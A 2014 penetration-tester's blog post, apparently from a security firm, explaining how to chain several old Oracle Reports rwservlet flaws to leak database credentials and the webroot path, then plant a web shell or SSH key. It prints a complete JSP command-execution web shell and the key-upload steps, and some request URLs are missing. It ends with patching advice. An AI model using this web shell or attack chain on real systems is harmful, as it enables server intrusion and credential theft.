Blog: How Tos

Hacking Oracle Reporter- A how-to

David Lodge 02 Dec 2014



On a recent project I was testing an application based on an old version of Oracle Reporter. I did the traditional thing and ran Nikto
against it, partly because I help write and maintain Nikto and love it so…

Amongst other findings from the tool, I got back this (from the standard tests):

Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution

This is referencing a number of vulnerabilities with older and unpatched versions of Oracle reporter that you can chain together to exploit the application and run a shell as the Oracle reporter user. Cool, hey?

Rather interestingly, the bugs require a bit of chaining together to turn multiple lower risk bugs into a high risk issue where you can start compromising the server.

Before I go into the details, it’s worth mentioning that I found a script, by Mekanismen, on
exploit DB. It exploits the same thing, but automagically. I didn’t use it, but it was a useful reference while I worked out how the exploit functioned.

The bugs

We will be exploiting four different bugs in Oracle reporter to tie them together to one compromise:

  1. A remote file include in /reports/rwservlet?report; this allows you to set up a report that just reads a file from a URL and saves it to a file in a custom location.
  2. An information disclosure vulnerability in /reports/rwservlet/showenv, that returns information about the local environment which will show stuff like the path of the web server. These sort of vulnerabilities are often written off as being unimportant and low risk, but they can tell an attacker important stuff for other attacks.
  3. A credential disclosure vulnerability in /reports/rwservlet/parsequery which can return the definition for a “key map” file. A key map on Oracle reporter is a file where defaults for report are stored on the server rather than being passed by the user. This can usually be used to secure credentials (oh, the irony).
  4. An information disclosure vulnerability in /report/rwservlet/showmap which will tell us all the key maps in use on the reporter instance.

What we’re going to do is to grab information from the three disclosure vulnerabilities and use this to work out the credentials and web server path so we can upload a custom web shell.

Setting up the Web Server

Because the remote file include loads stuff from a web server, I need to set stuff up on there.

We first need a good JSP web shell. I tried several before I eventually mangled a small one I found on the web:

<%@ page import=”java.util.*,*”% >> <% if (request.getParameter(“cmd”) != null) { out.println(“Command: ” + request.getParameter(“cmd”) + “<br /><pre>”); Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”)); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } out.println(“</pre”>);} %>

I saved this as cmd.jsp and put it in the web root of an Nginx web server on my hacking VM. I tend to use Nginx instead of Apache for simple stuff like this as it’s slightly quicker and easier to set up and configure – this is just personal preference.

Gathering information

Our first step is to enumerate all of the key maps on the server. This is as simple as visiting:

This will show all the key maps configured. Looking down them, if you’re lucky you should see an application one near the bottom with server= and userid= parameters. Let’s call this vulnerable for an example.

You can grab this from the source for the web page, as shown below (slightly cleaned up to remove white space):

<TD class=OraTableCellText style=”BORDER-LEFT: #cccc99 1px solid; BORDER-BOTTOM: #cccc99 1px solid”>
<SPAN class=OraInstructionText> vulnerable</SPAN></TD>
<TD class=OraTableCellText style=”BORDER-RIGHT: #cccc99 1px solid; BORDER-LEFT: #cccc99 1px solid; BORDER-BOTTOM: #cccc99 1px solid”>
<SPAN class=OraInstructionText> server=dodgyrepserver userid=vuln@sid %*</SPAN></TD>

We’re interested in the highlighted entries; the yellow being the name of the key map and the green being some basic parameters.

But, we can do better than that. The script /reports/rwservlet/parsequery will dump the key map. Everything in the keymap, so run:

(replace the vulnerable parameter with the name of your key map)

With some luck we should get an HTML page back with the following in the source:

<UL> <P> <LI> <FONT SIZE=+1>Original Query String(GET) : </FONT>
<P> <LI> <FONT SIZE=+1>Result Reports Server Command Line</FONT>
<BR>expiredays=0 jobname=”NoName” authid=RWUser/ server=”dodgyrepserver” userid=vuln/password@prd4

Where the yellow highlight is the name of the reporter server (this is an internal name – it may not by the instance of the Oracle database, nor the name of the server) and the green are the credentials used.

Note, these should be valid Oracle credentials which could allow you to connect to the Oracle database. They should be in the usual user/password@SID Oracle format.

Now we have shown that we can get the path of the web server, which the /reports/rwservlet/showenv script can give us; this requires the server name and credentials from above:

If you can gather the server name separately it is worth visiting this page first, before you get credentials as you may be able to view the environment even without the creds.

showenv gives us a table of environmental variables for the reporter process. This has useful information, but the one we’re most interested in is the PATH_TRANSLATED variable which will tell us the webroot that Oracle Reporter is running under:

<td width=”15%” align=”right” valign=”top” class=”OraPromptText”>
<span class=”OraPromptText”>
<td> <img src=”/reports/images/space.gif” alt=”” width=”12″> </td>
<td width=”85%” align=”left”>
<span class=”OraDataText”>

If we remove the showenv, then we know that /reports webroot (in this example) is:


Exploiting it

And… this is the simple bit – we don’t even need credentials for this. We just do one call to /reports/rwservlet?report, putting the webroot path and the URL to our files in:

Then we enter all this into another call to the rwservlet/report:

Note that I’ve placed it in images to masquerade it slightly. This is just personal preference.

Then just run and it is pwned:



Extending the Attack

This is based on a real world example I came across on a live test, hence the redaction blocks in the screenshot. But I eventually abused this in a simpler way. As I was based in the internal environment with no firewall in the way I thought a much simpler route was to use this to upload an SSH certificate, so I could just SSH in as the user and attack the server directly.

Now I have access to the server anyway for info gathering, but you could use the web shell above to do this.

The first step was to prepare an ssh key on my hacking VM:

[dave@jotunheim ~]$ ssh-keygen -P “” -f ~/.ssh/orarep
Generating public/private rsa key pair.
Your identification has been saved in /home/dave/.ssh/orarep.
Your public key has been saved in /home/dave/.ssh/
The key fingerprint is:
26:81:d1:ab:94:6c:7d:e8:db:14:85:9f:10:f3:8f:1a dave@jotunheim

Then I copied the public key across to the root of my webserver.

To upload it I used /reports/rwservlet?report. For this I needed to gather the home directory of the reporter user (using the web shell):

So, assuming SSH is configured, this should put set my SSH certificate to be authorised for connection; then we can just run:

ssh –i ~/.ssh/orarep

And we now have shell access!


How do we run Oracle Reporter and protect ourselves?

The most important thing is to patch; these vulnerabilities are all now patched, although if you’re running a really old version you may have to upgrade to a supported version. Often companies are good at installing OS patches but forget about their software – one old app can allow an easy compromise of the server.

You should also disable anything that is not required for the system to run. All the showenv, showmap and parsequery scripts should not be presented by the webserver. If they cannot be disabled, then this should be raised to the vendor as a security flaw.

Also you can investigate the use of filtering and to restrict access to any scripts that aren’t meant to be run.